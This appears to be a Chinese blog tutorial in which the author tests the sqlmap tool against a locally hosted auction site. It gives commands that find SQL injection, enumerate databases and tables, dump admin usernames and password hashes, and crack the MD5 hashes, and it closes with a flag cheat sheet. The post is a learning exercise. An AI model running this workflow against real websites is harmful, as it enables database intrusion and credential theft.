sqlmap简单使用

今天学习了sqlmap的使用,自己又在网上查找了一些学习笔记然后就想在本地搭建的环境上测试使用一下


sqlmap简介

sqlmap支持五种不同的注入模式:

  • 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  • 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 4、联合查询注入,可以使用union的情况下的注入。
  • 5、堆查询注入,可以同时执行多条语句的执行时的注入。

测试环境:本地搭建的校园二手拍卖网站http://localhost/paimai/

sqlmap简单使用_第1张图片

1、指定目标URL,检测注入

参数:-u 或 –url

使用参数“-u”或“–url”指定一个URL作为目标,该参数后跟一个表示URL的字符串

E:\python\sqlmap>python sqlmap.py -u "http://127.0.0.1/paimai/items_view.php?id=6"

sqlmap简单使用_第2张图片

sqlmap简单使用_第3张图片

结果显示如上图

注入参数id为GET型

web server :windows

web应用程序技术为:Apache 2.2.21, PHP 5.3.10

数据库类型为:Mysql

注入过程中有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --batch  

2、列举数据库

参数:--dbs   列举出所有数据库

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --dbs

sqlmap简单使用_第4张图片

11个数据库

3、是否是管理员权限

参数  --is-dba    查看是否是管理员权限

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --is-dba

结果:

sqlmap简单使用_第5张图片

DBA:True表示是管理员权限

4、当前数据库

参数   --current-db          当前数据库

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --current-db

结果:

sqlmap简单使用_第6张图片

5、当前数据库

参数      --current-user          当前用户     --users     所有用户

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --current-user

结果:

sqlmap简单使用_第7张图片

6、列举数据库的表名

参数       --tables          列举数据库的表名

-D:指定数据库名称

不加-D会列出全部的表名,很慢

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" -D paimai --tables

结果:

sqlmap简单使用_第8张图片

七、列出表中字段

参数:

-D:指定数据库名称

-T:指定要列出字段的表

--columns:指定列出字段

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" -D paimai -T user --columns

sqlmap简单使用_第9张图片

sqlmap简单使用_第10张图片

八、暴字段内容

参数:

-C :指定要暴的字段

--dump:将结果导出

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" -D paimai -T admin -C"admin_name,admin_pass" --dump

sqlmap简单使用_第11张图片


md5解密后即可得到密码


最后是别人的总结:


-p               指定测试参数
-b               获取banner
--dbs             列举数据库
--is-dba          是否是管理员权限
--current-db          当前数据库
--current-user          当前用户
--tables          列举数据库的表名
--count               检索所有条目数
--columns          获取表的列名
--dump                获取表中的数据,包含列
--dump-all          转存DBMS数据库所有表项目
--level               测试等级(1-5),默认为1
-v                  显示详细信息

读取数据库--->读取表---->读取表的列---->获取内容

-D                 指定数据库

-T               指定表

-C               指定列

--dbms=mysql  oracle mssql          指定数据库



你可能感兴趣的:(web安全)